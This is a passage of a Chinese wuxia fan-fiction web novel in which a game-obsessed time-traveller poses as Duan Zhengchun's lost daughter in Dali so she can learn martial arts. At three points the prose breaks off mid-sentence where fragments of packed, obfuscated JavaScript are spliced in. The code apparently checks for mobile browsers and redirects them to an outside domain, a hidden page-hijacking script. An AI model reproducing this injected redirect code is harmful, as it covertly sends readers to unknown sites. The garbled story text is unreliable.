《[综武侠]武学助手也能天下第一吗》 1. 段氏1 “段正淳,开门呀,别躲在里面不出声,我知道你在家,开门呀,段正淳。” 秋季的大理城,才下了一场小雨,日光不盛,正是打盹的好时候,镇南王府中,门房的头跟小鸡琢磨似的,一点一点地打着瞌睡。 忽的,一道响亮又略显尖锐的声音响起,孩子稚嫩的声音穿透力极强,配合着富有节奏的敲门声,一下就将门房给惊醒了。 被惊醒的不止有门房,还有正在自家花园中对着孔雀念经的小王爷段誉。 段誉今年不过七岁,于诗词书画佛道经典方面十分聪慧,却厌恶习武,作为王府唯一的男丁,无论是镇南王还是镇南王妃都对其很是宠溺,他不喜便不练。 段誉就这么快快乐乐地每天做着自己想做的事情,今日他做的便是对着那孔雀念《佛母大孔雀明王经》,兴致将起,却被那稚嫩的声音打断。 顿时抬起头来看向在一旁作保护之责的家臣,“朱四哥,我听见外头可是有孩子在喊爹爹的名字?” 被段誉称为朱四哥的男人名为朱丹臣,是大理段氏皇家四大护卫之一,以判官笔、清凉扇为武器,江湖人称“笔砚生”。 这饲养孔雀的花园离门颇近,那声音穿透力强,没有武力的段誉都能听清楚,更何况是朱丹臣?他自是听得清清楚楚。 “回世子,不知是哪里来的无理之人竟然如此放肆直呼王爷之名。”朱丹臣半是好笑半是愤怒,好笑是因为段誉的那句“孩子”,段誉自己不过七岁,却称呼旁人为“孩子”,实在是有些滑稽。 而愤怒则是因为主辱臣死,这声音如此放肆不客气,他自然是愤怒的。 “那朱四哥,你快去寻爹爹,她唤得那样着急,想来定是有急事,爹爹在书房,离这里远,想来是听不见的,我且过去瞧瞧她。” “不可!” 朱丹臣为段誉的护卫,自当是护段誉安危,虽说如今在镇南王府中,无甚危险,可亦不可掉以轻心。 花园中有打扫的侍女,他唤来其中一位,令侍女前去禀告镇南王,而后垂眸看向眼巴巴看着自己的段誉道,“我随世子去。” 段誉点了点头,往大门处疾步,他到的时候正好看见门房在同一女童说话。 那女童看起来年纪很小,比他还要矮一个头,穿着怪里怪气的,并不是段誉看过的大理城中的百姓们会穿的样式。 她身着浅米色的袍子,下身是棕红色的束脚裤,腰间以浅蓝色的腰封和棕色的皮革束着,那皮革带上挂了不少东西,装着瓜果的袋子,铜制的碗,一个玉瓶,一大一小两个葫芦,还有一把剪子与两支匕首。 瞧着这穿着,市井气颇重,并不似什么富贵人家出来的。 但她着实生了一张富贵人家才有的脸,肌肤雪白,眼睛大大的,说话时露出的那一排牙齿也是洁白整齐的,普通的人家可养不出这样漂亮的小姑娘来。 至少段誉作为镇南王世子,见过不少小姑娘,其中没有一个能够比得上她。 此刻,对方正绷着一张小脸,面无表情地同门房掰扯着,“我娘说了,让我来找段正淳,她说,段正淳瞧见了我,就知道我是谁了,也知道她是谁了!” “那你可有什么信物?”门房心中已然有了计较,这样漂亮的孩子,想必其母也是位芳华绝代的美人,再想想自家王爷的做派,这孩子的身份一目了然。 只是他作为门房却不能这么放人进去,因此他努力做出和善的模样说道,“就是你娘亲可有给你什么东西?我带给王爷,如此王爷才会来见你。” 段正淳作为官封镇南王,大理国保定帝最看重的弟弟,每日想要见他之人不计其数,虽说派孩子来的还是头一遭,可门房也不敢掉以轻心。 “王爷是什么东西?” “哎呀,王爷不是东....”危险的话语在最后的关头被吞入腹中,门房头冒冷汗,方才他差点就犯上了。 “王爷不是东西。”门房没说出来的话被其他人说出来了,说话的人不是旁人,正是段誉。 段誉向来都喜欢美貌的事物,如今见那要见自家父王的女童长得如此好看,本就热情的他越发热情,“王爷就是段正淳。” “我只找段正淳。” “我已经让人去找爹爹了,想必用不了多久,他便来了。”段誉伸手握住对方的手腕道,“你若是心急,我现在便带你去寻爹爹。” 一旁的朱丹臣犹豫了片刻后,到底还是没有阻止,一来这孩子看着实在是太小了,不过三四岁的模样,瞧着是聪慧,但到底是个孩子,不会有什么威胁。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360980|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二来..... 他也有这和门房一样的想法,这样漂亮的孩子,张口便是来找段正淳的,还是她娘亲让她来的,自家王爷什么德性,懂都懂,只怕又是一桩风流债。 倘若真如他所想,这孩子便是王府上的郡主了,他自然是要以礼相待的。 那孩子任由段誉拉着往院子里走,才至方才段誉给孔雀念经的地方就与匆匆赶来的段正淳碰着了。 段正淳作为镇南王,平日里也是有不少庶务需要处理的,若是一般人在外头叫喊,他至多就是打发家臣去处理,可是听闻这次叫喊之人很是年幼,加之段誉还亲自出门去迎,他唯恐会有什么乱子便急忙而来。 “爹爹。”段誉见了段正淳高高兴兴地唤了一声后,又侧头对女童道,“这便是我爹爹,段正淳,就是你阿娘要你找的人。” 女童松开了段誉的手,向前走了两步,仰头看向段正淳,依旧是面无表情,“阿娘说叫我来大理城镇南王府找段正淳,你便是段正淳?” 这样理所当然的语气,此时此刻段正淳心中也有了猜测,他蹲下身,想要和女童平视,奈何对方着实年幼,哪怕他蹲下了身子,还是要比对方高上些许。 “正是,你叫什么名字?” “阿娘没有给我取名字,她说,你若认出我来,你会给我取的。” 段正淳不禁心中恻然,这样聪明可爱的孩子,却独自来到王府,瞧这身打扮也不似大理打扮,更像是大宋那边,想起自己以往在中原的风流韵史,便已认定对方的身份。 “你阿娘叫什么名字?” 女童瞪大了眼睛,两条眉毛都快要拧成了结,“你瞧见了我,还不知晓我阿娘的名字?” 段正淳哑然,他在中原风流之事颇多,加之过去时日也不短了,这孩子年幼,他着实看不出对方长得像哪位红颜知己。 见段正淳不说话,女童眨了眨眼睛,吸了吸鼻子,好似要哭一般,但到底是没有哭出来,最后她往腰间的布兜一伸手,掏出一个果子大口大口地咬了起来,神情十分沮丧。 “妹妹,你怎么了?”虽然还没有相认,虽然并不知晓自家爹爹的风流韵事,但段誉已经十分自来熟地喊上了“妹妹”。 “你不要同我说话,我就要死啦!” 2. 段氏2 与普通的孩子不同,已经七岁的段誉已然知晓生死为何物,急得团团转。 “妹妹,你可是有哪里不舒服?是生病了吗?我让爹爹给你请大夫,你可千万不要有事呀。”说到最后,他的声音中已经隐约带上了些许的哭腔。 女童面无表情地吃着果子,无视了段誉的焦急,道,“我娘说了,他若是认不出我,叫我宁愿饿死,也绝不能认他这个爹,饿肚子太难受了,我决定把果子吃完就死,我要饱着死。” 段誉没想到世间还有如此冷酷的母亲,竟然因着这点事就要让自己的孩子饿死,当然,他更怪的还是他的父王段正淳,“爹!爹!您还认不出妹妹的娘亲吗?” 段誉的声音中满是控诉,就连一旁的朱丹臣目光中也带了些许的不赞同。 段正淳懵了,他是真的没法从女童的面容想起对方的娘亲是谁。但他却没有怀疑对方在说谎,这么小的孩子,她会说谎吗? 再说了,在已知对方娘亲是个美人的情况下,这样绝烈的性子,实在是太符合段正淳的喜好了,他的不少情人都是这样的烈性子。 死脑子,快想啊! 段正淳的额头上已经溢出一层细密的汗珠了,而在他沉默和段誉的唠叨中,女童已经将果子吃完了,只见她从腰间拔出匕首,对着自己的身上比划着,似乎在思考要从哪里下手。 “妹妹,不可!”段誉都要急死了,手忙脚乱地想要阻止女童,又不忘抬头催促自家亲爹,“爹!爹!你快想想!” 朱丹臣也忙死了,他一边要阻止段誉——段誉试图去夺女童手上的匕首,一边要保护女童,生怕那匕首就这么扎进了对方的身体。 他的武功可不弱,但是如今拿着匕首的是个四岁孩童,段誉和对方还离得极近,他就怕一个不小心,两个孩子都受伤了。 “我想起来了!我想起来了!”急得冒汗的段正淳这一声几乎是吼出来的,他用一种十分肯定的语气说道,“孩子,我是你爹爹啊!” 段正淳风流多情,有露水情缘者多不胜数,他哪里想得起来?但是不管有没有想起来,此时此刻他都必须“想起来”,否则,他就要见他的孩子血溅当场了。 闻言,那女童垂下了手,一旁的朱丹臣眼疾手快地将她手中的匕首夺走甚至还把她腰间的剪子和另一把匕首也给顺了坚决不给对方第二次寻死的机会。 女童被夺了剪子和匕首也没有生气,只是惊讶地眨了眨眼睛,看看自己的手和腰间,又看了看朱丹臣,毫无疑问,是崇拜的眼神。 当然,她看完朱丹臣后,也没有忘记正事,板着脸问道,“那我考考你,我阿娘叫什么名字?” 段正淳麻了,他根本就没有想起对方的娘亲是谁,何谈知道对方的名字? “此处——”作为家臣的朱丹臣打断了这场对话,“此处日光过盛,非谈话的好地方,不若寻个地方再细细叙旧。” 朱丹臣用出了拖字诀,段正淳松了一口气道,“只吃果子饿不饿?不如去前头的花厅谈话?我再让人准备些许的点心和饮子?” “府中的做点心和饮子的厨子是爹爹从汴京专门请来的,可好吃了。”段誉也附和道,他倒是没有什么旁的心思,真就是单纯和对方分享喜欢的食物。 女童咽了咽口水,但还是那副面无表情的模样,学着大人模样点了点脑袋,言简意赅道,“好。” 朱丹臣脑子活泛,看出段正淳其实压根就没有想起这女童的母亲是何人,因此一路上旁敲侧击地问道,“你今年多大了?怎么一个人来到王府?你阿娘不担心吗?也不怕有拐子。” 因着他刚才露的那一手,女童对他似乎有些崇拜,因此有问必答道,“我也不知我几岁了,阿娘没说。阿娘最近总咳嗽,小花说她是要死了,再后来我一觉醒来换了个地方,问了人才知道这里是大理城,阿娘之前说,要让我去大理城寻段正淳,我就一路问着走来了。” 大理城的城门离镇南王府还是有段距离的,这么小个孩子能够一路问着寻到镇南王府,足以见其聪慧。 “小花是谁?你阿娘没有给你过过生辰?” “什么是生辰?小花是山下猎户的女儿,有的时候,她会和她阿娘来给我和阿娘送些吃食,再替我们浆洗衣裳,她是我见过最聪明的人,她知道很多很多的事情。” 随着一问一答,事情似乎逐渐变得清晰起来。 早前段正淳在中原有过一段露水姻缘,女方未婚先育,带着孩子隐居山岭,因为心中怨恨,也因为心中的挂念,相信段正淳会来寻她,连孩子的名字都没有取,一直等着段正淳。 只是段正淳没有等来,她却病重快要死了,因此才将孩子送到大理城外,至于为什么她不见段正淳,能够说出如果段正淳记不起她让孩子宁愿饿死都不要认爹的女人,又岂会是什么好性子? 如此这般,一切都说得通了! 一边的段誉已经眼泪汪汪的了,“你的娘亲要死了吗?一定是生病了,爹,你快让大夫去给妹妹的娘亲诊治。” 女童侧脸,不解地看向段誉,“你哭什么?” “因为你娘亲,要...要...” “因为我娘亲要死了?”不等段誉说出那个字,女童自己倒是先说了出来,她眉头拧在了一块,有些嫌弃,“不就是死,你哭什么?” “可是,你以后都见不到你娘亲了....” “不会见不到,等哪日我想她了,便去死,就能够见到她了。” 这下段誉急了,“不能死,死了就会见不到很多人。” “世子莫急,她还小,还不知道死是什么呢。”朱丹臣拍了拍段誉的肩膀,安慰道,“日后她若是明白了,就不会如此了。” 话是这么说,朱丹臣的心情却越发沉重,他偷偷瞟了段正淳一眼,头一次在心中有了大不敬的想法,好可怜的母女,好风流的王爷! 段正淳听到这话,几乎要被愧疚淹没了,他可真不是人啊,风流后便自己回了大理,独留母女俩相依为命,那位尚且不知道是谁的红颜一定恨极了他,否则不会这般不愿意见他。 等到了花厅,侍女们鱼贯而入,奉上点心和饮子,段誉也不想再讨论什么“死”了,热情地招呼着女童喝饮子吃点心。 女童似是饿狠了,连吃了好几块。 见她这般模样,段正淳心中越发怜爱,柔声道,“慢些吃,点心到底不饱腹,你有什么爱吃的?我让厨子给你做。” 女童举着咬了一半的点心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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女童看了看段誉,没有再犹豫,脆生生地喊道,“爹!” 段正淳松了一口气,他接下来准备的谎言都不用上了,只是这样还不保险,他状似无意地问道,“你阿娘还说了些什么?一并告诉爹爹,爹爹看看能不能寻到你阿娘。” “这...阿娘同我说的时候,我好困,就记得前头的一半了,她让我去大理城镇南王府找段正淳,还说如果段正淳想不起她认不出我,就让我饿死也不理你,后头说了什么,我太困了,没听清,我只记得阿娘说了她叫什么娘...” 说着,女童撇了撇嘴,似是有些失落,“我也是今日才知晓,原来阿娘唤嫣娘啊。” 段正淳的一颗心落回了胸腔,中原人家,无论是情人之间亲密时,亦或者是普通人家给家中女娘取小名时,常以单字后加一个“娘”为称呼。 女童年幼,并不知其中因果,只听到段正淳胡诌的名字带个“娘”字,便误以为段正淳真的想起了她娘亲。 一念至此,段正淳不由感叹自己的好运气。 然而... 哪里有什么好运气,并非段正淳真的胡诌对了,也并非这女童真的太困没听清她娘的话,只是因为一切都是这女童胡诌的,她压根就不是段正淳的女儿,在这个世界也没有什么娘亲,一切全是她为了活下去碰瓷段正淳自导自演的一场戏罢了。 3. 段氏3 杨昭昭是非常典型的救人穿越者,穿越的时候,她刚刚从漫展出来,边走路边捧着手机争分夺秒的大战,不争分夺秒不行,作为一个pve分子,杨昭昭的小号多得出奇,她还有一点强迫症在身上,大战两百多金呢,必须打! 手机上的剑网3无界里头的扇萝正骑着才领了没几个月的鸡蛋——一匹超炫酷机械马,在天龙寺中奔跑着,还没跑到boss面前呢,杨昭昭就听到了尖叫声。 抬头一看,脑子不正常中年男人当街持刀行凶报复社会,对方正举着刀冲过来,目标不是因为出天极刀宗成女cos所以戴着斗笠,腰间还挂着长刀看起来就不好惹的杨昭昭,而是杨昭昭不远处的一个背着书包的小姑娘。 作为护国定邦英武弘义君哪里见得了这个?当场来了个见义勇为,然后作为一个长期不锻炼接近平均年龄的侠士就这么心不甘情不愿地英勇就义了。 都说好人有好报,比非洲人开宝箱出不绑定玄晶概率还小的事情发生了,杨昭昭遇到了系统!系统招收杨昭昭成为快穿局工作人员。 现代社会的万恶实习规培制度已然蔓延到了快穿界,作为一个规培生,杨昭昭要完成规培任务,即实现任务对象的心愿。 而杨昭昭的任务对象不是别人,正是她的那一堆小号,她也是第一次知道游戏角色虽然受玩家的操控但真就和小说一样,是有自己的意识的,自然也有自己的心愿。 受杨昭昭这个主人的影响,小号们的心愿都非常统一,他们都是pve号,当然要求dps第一啊!换而言之,他们的心愿要当天下第一! 杨昭昭在固定团里除了开爆发开腰坠的那几秒就没有打过第一,毕竟她只是个大橙武都没有的武学助手党,连二段宏都不愿意用,更不要提手打循环了,太麻烦!武学助手多快乐啊,开着自动连放,只要走机制就可以了。 虽然追求dps第一,但是快乐真的很重要! 她万万没有想到,她一个武学助手党有一天的任务竟然是当天下第一,还是武学世界的天下第一,这合理吗?这真的合理吗? 不管合理不合理,任务还是要做的,杨昭昭第一任务对象,就是她的扇萝。 花了五块钱脚本满级的新爹,爹了不过一赛季就惨遭削弱,身上穿着24块的烩江湖,除了这套外观,就只有西山居送鸡蛋的时候拓印的校服和几件江湖套装。 小扇萝就这么水灵灵地落到了大理城外,因为扇萝用的是最矮的体型,杨昭昭就成了小萝卜,看着矮矮的,比柯南还矮。 而且等级成了非常罕见的一级,谁能想到,在西山居已经建号就是一百级的时候,她这个扇萝居然会是一级呢?真正的手无缚鸡之力,除了一个虹气长空,连扶摇蹑云都没有,要知道这里可是高危的武侠世界啊! 杨昭昭开动自己的脑袋瓜,很快就决定抛弃道德枷锁,给自己找个靠山,决定了,就是你!段正淳! 她作为一个段氏,找段正淳当靠山很合理吧! 当年段正淳都差点认下虚竹了,认她一个段氏也很正常吧?而且就算是失败了,看在她这么小的份上估计还会起怜悯心呢,指不定会把她留下,总之,先猥琐发育! 雄赳赳气昂昂,来到了镇南王府,直到面对一桌丰富的饭菜时,杨昭昭依旧有些没有反应过来。 就这么成了?就这么成了? 这...这.... 顺利到杨昭昭怀疑这里不是大理是缅甸,有种被做局的感觉。 “可是不合口味?”段正淳见杨昭昭神思不属,关切地问道,“还是方才吃点心吃饱了?” 说着就要伸手去摸杨昭昭的肚子,小孩吃东西向来不知饥饱,他以为是杨昭昭嘴馋明明饱了却还想吃,因此才会这般。 杨昭昭扭动身子,避开了他的触碰,“人..人太多了。” 一顿饭十几个人伺候,固然都是面容清秀的女子,但这么被人盯着,杨昭昭还是不习惯。 段正淳的面露愧色,他摆手挥退婢女,“是爹爹未曾想到,你自幼生长在山间,自是不喜生人,爹爹思虑不周,倒是令你不自在了。” 杨昭昭本来就是骗的段正淳,见段正淳还愧疚上了,心里又是心虚又是尴尬,不知怎么应对又生怕自己露出马脚的她只能埋头干饭,不再多言。 演技约等于无的杨昭昭很有自知之明,她能够骗到段正淳,也就是仗着自己长得好年纪又小,段正淳和段誉这父子俩非常颜控,她现在的脸可是精心从小红书的贴子里找出来的夺月修仙小师妹改瞳色。 游戏里本就十分好看的脸,具象化到现实中更是惊艳,一下就令段正淳相信她是自己的女儿,毕竟他是真的风流好美色。 心虚归心虚,饭还是要干的,不得不说,镇南王府的伙食是真的好,这里是武侠世界,不是正儿八经的宋朝,许多不属于这个时代的调味品在这个世界都出现了,好厨子做出来的菜那叫一个香。 用了膳后,段正淳将杨昭昭带到了将将收拾出来为她准备好的房间,段誉亦步亦趋地跟在身后,“妹妹的院子着实空荡了些,不如移种一些茶花来,过些日子便是茶花盛开的日子,届时满院芬芳,定然极美。” 杨昭昭哪懂这个?面对段誉这样的e人,她不知道怎么应对,只能够装高冷,因着这张脸,装起高冷来也很是唬人,她不说话,任由段誉在哪里叽叽喳喳。 段誉在那引经据典,不过七岁的他知识储备量丰富得令杨昭昭汗颜,反正许多诗都是没有听过的,听着段誉絮叨,她大大的眼睛逐渐失去了光彩,听不懂,真的听不懂! 好在段正淳也知道要一个“四岁”的孩子听懂这些着实为难人了一些,他一把将段誉捞起,制止了段誉的滔滔不绝,又道,“爹爹为你取个名字好不好?” 既然都问好不好了.... “不好。”杨昭昭开口拒绝,理直气壮道,“我已经想好了,我要叫什么名字。” 段正淳也不生气,耐心地询问道,“你要唤何名?” “昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作为一个和娘亲一起长大的孩子,不可能认了爹就忘了娘,所以这个娘是一定要找的,这也是完善段昭昭人设的一环。 让他找去吧,反正段昭昭可是空降这个世界的,怎么找都找不到的。但就是要找不到才好呢。 段正淳身子微僵,幽幽叹了一口气,他摸了摸段昭昭的脑袋,应道,“好,爹爹替你找。” 段正淳知晓,这孩子的娘亲既然能够说出那样的话,又将其迷昏了送到大理城外,必然是不想见自己的,许是生了病,面容憔悴,又许是被以往之情伤得太重,左右都是不愿见他。 既是如此,想要找到对方便十分困难。 事实也是如此,段正淳将寻人一事交予朱丹臣,朱丹臣为渔樵耕读中的“读”,虽年轻,却十分聪明可靠,此事交给他再是适合不过了。 然而朱丹臣忙碌几日,到底是一无所获。 “臣令人四处探寻,城门守卫均为见过与郡主相似的女子,便是入城的母女也无类似者,城外百姓都道郡主好似凭空出现一般,想来入大理时,走的并非官道。” “到底是我对不住她,她理应恨我,只是昭儿那边,唉....”段正淳越发愧疚,对段昭昭身世更无怀疑,越发确信段昭昭是自己的女儿。 4. 段氏4 段正淳未能寻到那位昔日的红颜知己,心中很是愧疚,每每看到段昭昭那双黑亮的眼睛,都张口结舌,说不出一句话来。他无法去面对失望的段昭昭,又因段昭昭的出生时日不明,摸骨只能摸出段昭昭约莫四岁左右,他至今无法确定段昭昭的娘亲到底是哪位红颜知己。 就段正淳这风流敬业程度,五六年前,单单是这两年中,他有过露水情缘者便多不胜数,如何能够想得起段昭昭的生母是谁呢? “你是不是寻不着我娘?”在段正淳又一次避开了段昭昭后,还是被段昭昭拦住了。 段正淳幽幽叹了口气,没有再逃避,“你是个聪明孩子,你阿娘不愿意见我,我寻不到她,她将你送来了大理,定然是有她的道理的。” “我要成为天下第一。” “嗯?”话题跳得太快,段正淳没能反应过来。 段昭昭一本正经道,“我知道,阿娘一定要死了才不要我了。哥哥说,人不能随便抹脖子,所以我要成为天下第一,成为最厉害的人,然后去另一方天地,去寻阿娘。” 段正淳听到这话心软得一塌糊涂,他没有戳破小女孩的幻想,毕竟哪怕是天下第一,也是没法有办法超越生死的,只是摸了摸段昭昭的脑袋,鼓励道,“爹爹相信你。” 段昭昭用力点了点头,板着一张小脸,认真地说道,“教我武功爹爹,我要成为天下第一。” 段正淳沉思片刻,上手摸了摸段昭昭的筋骨,眼中光亮越胜,前头他只是让大夫来替段昭昭诊治摸过骨,大夫曾言段昭昭根骨强健,他当时只是觉得段昭昭身体康健罢了,如今自己为段昭昭摸骨后,方知,这真真是个习武的好苗子啊! “昭儿,随爹爹去见见你伯父。”段正淳抱起段昭昭,令人套了马车便往皇宫赶去。 大理段氏有一门绝顶武学,名为一阳指,这一阳指传男不传女,亦不传外人。 段正淳如今对段昭昭亏欠多矣,又怜段昭昭年幼丧母,再见其资质上佳,起了爱才之心,便欲传段昭昭一阳指,只是这事还需大理皇帝段正明同意。 “爹爹带你去见你伯父,你莫要害怕,你伯父是位和善人,最喜你这般大的孩子。” 段昭昭在镇南王府,人人皆称她为“小郡主”,事实上,她这个“小郡主”有名无实,真正的郡主应由皇帝册封才算数。段正淳早该领段昭昭去见兄长段正明即如今的大理皇帝。 然而因着未能找到段昭昭的“娘亲”,心中有愧,不敢见段昭昭,这才拖到如今。 马车轱辘轱辘驶过青石板路,段昭昭好奇地掀起帘子往外瞧,只见街上人声鼎沸,穿着各色服装的人们来往贸易着。 “你伯父继位以来,休养生息,广施仁政,大理国的百姓才有如今安居乐业的生活。”段正淳说起这话时颇为骄傲。 段昭昭不说话,毕竟她现在只是个四岁的孩子,还是个从小在深山长大的人设,她不清楚这个年纪的孩子该怎么说话应对,本着少说少错,她决定非必要不说话。 段正淳也不在意,这些日子,他已然习惯段昭昭寡言的性子,觉得这是孩子自小与世隔绝,所以不喜多言罢了。段正淳自顾自地同段昭昭介绍着街上那些穿着各异的行人分别来自哪个部族。 “你瞧,那便是摆夷族的...”段正淳的话音中泛着淡淡的忧愁,他望着窗外的那对手挽手的男女,目光好似透过了他们在看什么人。 段昭昭努力控制自己的面部表情,好让自己没有露出什么嫌弃的表情,她知道段正淳十有八九在思念刀白凤。 刀白凤是段正淳的妻子,摆夷族大酋长的女儿,摆夷族向来一夫一妻,而段正淳的风流伤透了她的心,在生下段誉后,她便搬了出去,住在了玉虚观中,成了一名坤道,自称“玉虚散人”。 如今段正淳对刀白凤的怀念与爱都是真的,但他对其他女人也一样,他的心就是一个榴莲,每个尖尖上都站着一个人,而他都爱着她们。 马车驶过了几条街后,终于驶进了一条笔直的石路,石路尽头金黄一片,细看才发现是一座座宫殿,日光照在宫殿的琉璃瓦上,折射出炫目的光芒,似金云浮动。 “到了。” 段正淳将段昭昭抱下了马车,面前正好是一座牌坊,牌坊上用金粉写着四个大字“圣道广慈”,走过牌坊,终于到了宫门,宫门的牌匾上写着“圣慈宫。” 与段昭昭看过的故宫不同,这大理皇宫与其说是宫殿,更像是金碧辉煌的寺庙,非常符合段家人爱出家的性子。 “参见王爷。”一名太监躬身疾步前来,对着段正淳行了一礼。 “皇兄可在?” “启禀王爷,皇上正在内书房参阅佛经呢。” “那便替我传报一声,便说我带着女儿前来。” 太监应了一声是,便躬身离去。 段昭昭拍了拍段正淳的手臂,“爹爹,我可以自己走。” 段正淳弯腰,将段昭昭放了下来,又蹲身替她将衣服上的褶皱一一抚平,这才起身。 不一会儿,那太监便回来了,“王爷,小郡主,皇上在内书房等您二位呢。” 段正淳牵着段昭昭的手一路走到了内书房,片刻后,段昭昭便见到了大理国如今的皇帝——段正明。 与国字脸的弟弟不同,段正明长得十分清俊,脸型有点像鹅蛋脸又有点像瓜子脸,一双微微上挑的眼睛,大而亮。他端坐在一张铺着豹皮的大椅上,手持一卷书,见段正淳牵着段昭昭进来,便放下手中书卷,对段昭昭招手道,“淳弟,快将她带过来让我瞧瞧。” “大哥,这是我的女儿昭昭,昭昭,快喊伯父。” 段昭昭向前走了几步,在离那椅子还有两步远时停了下来,“伯父!” 她的声音洪亮,这声“伯父”喊得中气十足,听得段正明不由抚掌而笑,“是个健康漂亮的孩子,与誉儿有几分像。”他眼睛微眯,仔细地扫过段昭昭的脸,半晌脸上的笑容更甚,“仔细瞧来,这孩子竟与我有几分相似。” 段正明和段昭昭都是类似瓜子脸,眼睛都一样的大,眼角还都微微上扬,瞧着确有那么几分的相似。 “昭儿是大哥的侄女,与大哥相似有何稀奇?”段正淳说得理所当然,段誉的脸蛋也尖尖的,他一贯觉得是随了王妃刀白凤亦或者是段正明这位大伯。 段正明没有子嗣,他颇为喜欢孩子,见段正淳带着段昭昭来见他,便觉得段正淳是已查明了段昭昭的身份,确认段昭昭确为其女,便不再怀疑,“伯父封你为郡主好不好?” “好!”段昭昭这一声应得更响亮了,穿越后,她也是成了特权阶级了,果然,还是段正淳这个爹认得好,要不是段正淳,哪里来的这个待遇? “大哥。”段正淳坐在了段正明下手的位置,“你摸摸昭昭的筋骨。” 段正明伸手捏了捏段昭昭的四肢,越捏眼睛越亮,待捏完后,他心中已经有了计 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段昭昭知道这兄弟俩估计要私下谈话决定她能不能练武,为了让自己的功法师出有名,唯恐段正明不应允,她伸手拽了拽段正明的袖子,“伯父,我真的很想当天下第一,你让我练武好吗?” 段昭昭眨了眨眼睛,试图逼出一些泪水,好让自己看着更可怜一些。但和以往的每一次一样,这次依旧以失败告终,还是没能流泪,她只能瞪大眼睛,试图让自己看起来更真诚一些。 现在,她终于知道为什么内娱会有这么多的瞪眼式演技了。 “好,伯父答应你。去吃点心吧,但是不能吃太多,莫要撑着了。” 段昭昭还以为要再磨一会儿呢,没想到段正明答应得那么爽快,还不等她再说什么,接到段正明眼色的宫女便领着段昭昭去皇后的宫殿中。 皇后身着宫装,美丽端庄,见到段昭昭便握着段昭昭的手,温声细语地将段昭昭从头关切到脚,一边问还一边给段昭昭投喂点心。 段昭昭怕露馅,便维持着自己的内向人设,皇后问五六句,她才答一句。 如此,皇后也看出了她是个羞涩内敛的性子,便不再多问,只是微笑着看段昭昭吃糕点。 段昭昭被这样慈爱的目光看着,很是心虚,举着面前的盘子道,“这个好吃,伯母你也吃。” 皇后拿起一块,小小抿了一口,笑道,“昭儿真是个好孩子。” 皇后的目光越发慈爱,段昭昭只能垂着头,假装自己忙着吃糕点的模样。她生得好,虽然话少,却更显乖巧,皇后看着很是喜欢,令侍女寻了不少布料首饰赠予段昭昭。 待段正淳来接段昭昭的时候,段昭昭的肚子已经被点心塞满了,身后还有两个大箱子,全是皇后送的布料首饰,可以说是满载而归。 “昭儿喜欢伯父伯母吗?” “喜欢!”段昭昭模仿着小孩子的口吻道,“伯父答应我练武功,伯母的点心好吃,还送我好多好多东西。” 段正淳微笑道,“伯父伯母也喜欢昭儿,昭儿喜欢练武,明日爹爹便教你咱们段家的绝学。” “很厉害吗?” “自是,你瞧。”段正淳伸指,对着面前的瓷杯一点,手指未接触瓷杯,瓷杯却碎裂开来。 段昭昭见状顿感心安,这功夫是一阳指没跑了。 5. 段氏5 次日,段昭昭雄心壮志地准备开始学习一阳指,她距离天下第一只差学会武功啦! 然而...... “我们先来学识字。”段正淳知道段昭昭不喜欢被抱着,因此只是牵着她的手,慢慢走到了书房,书房已经备好了一张小小的书案,“日后你便同誉儿一道向孟先生学习。” 那小小的书案不远处有一张更大的书案,段誉便坐在那儿,见到段昭昭一双眼睛弯成了月牙,“昭妹~” 手执戒尺的中年男人轻轻敲了敲书案,段誉缩了缩脖子,努力板出一张认真的脸,低头继续看手中的书,只是一双手垂在书案下,对着段昭昭的方向摆啊摆,活泼极了。 段昭昭这才想起来,她还是个文盲来着的,只是她穿越是为了当天下第一的,又不是当状元,连忙追问道,“爹爹,那何时开始练武?” “你如今筋骨尚软,那些熬打筋骨之法不可用,若是要习武,应从内功开始慢慢修炼,只是你要修炼内功,须得先读书认字,知晓经脉穴位,急不得。”段正淳耐心地同段昭昭解释道,“待你学会了这些字,便可以开始学习认识经络穴位了。” 段昭昭怎么都没有想到她练武竟然还要从识字开始,脑子里不由得又浮现起了“忧郁的小乌龟”那个段子,如今用的可都是繁体字,繁体字这东西,放在一句话里头,段昭昭都能够认出来,单独就不一定了。 繁体字笔画繁多,还用的是毛笔,自从毕业后,水笔都用的不多了,更别提软趴趴的毛笔了。 想到这里,脑子开始疼了,但思及以后还要穿越不少世界呢,总不能每个世界都当文盲吧? 这么一想,繁体字还真要好好学。顿时又觉得自己这个认段正淳当爹真是个再好不过的主意了,要知道在古代,知识可是十分昂贵的,可没有什么义务教育。 “昭昭见过孟先生。”一念至此,段昭昭立刻摆出好学生的架势对着那位孟先生行了一个拱手礼。 这孟先生为中原有名的儒生,名讳上述下圣,字继儒,精通易理。段正淳费了极大的功夫才将其请来为段誉授课,如今用来教段昭昭一个小孩子识字可以说是大材小用了。 但孟述圣为人豁达,再加之镇南王府给的报酬极为丰厚,不过是多教个孩子罢了,段正淳想叫两个孩子一道进学培养兄妹情,他便也应下了。 如今见段昭昭一脸的聪明相,思及段誉的聪慧,便也觉得段昭昭作为段誉的妹妹理应相差不远,心头又喜两分。 在段昭昭规规矩矩地行了拜师礼后,孟述圣取了一本《百家姓》教了起来,先教段昭昭通读了一遍,便道,“你且诵一遍。” 《百家姓》约莫五百多字,并不长,段昭昭听了孟述圣念了一遍后,已然全部记下,顿时眉开眼笑,这挂开的,她成天才了! 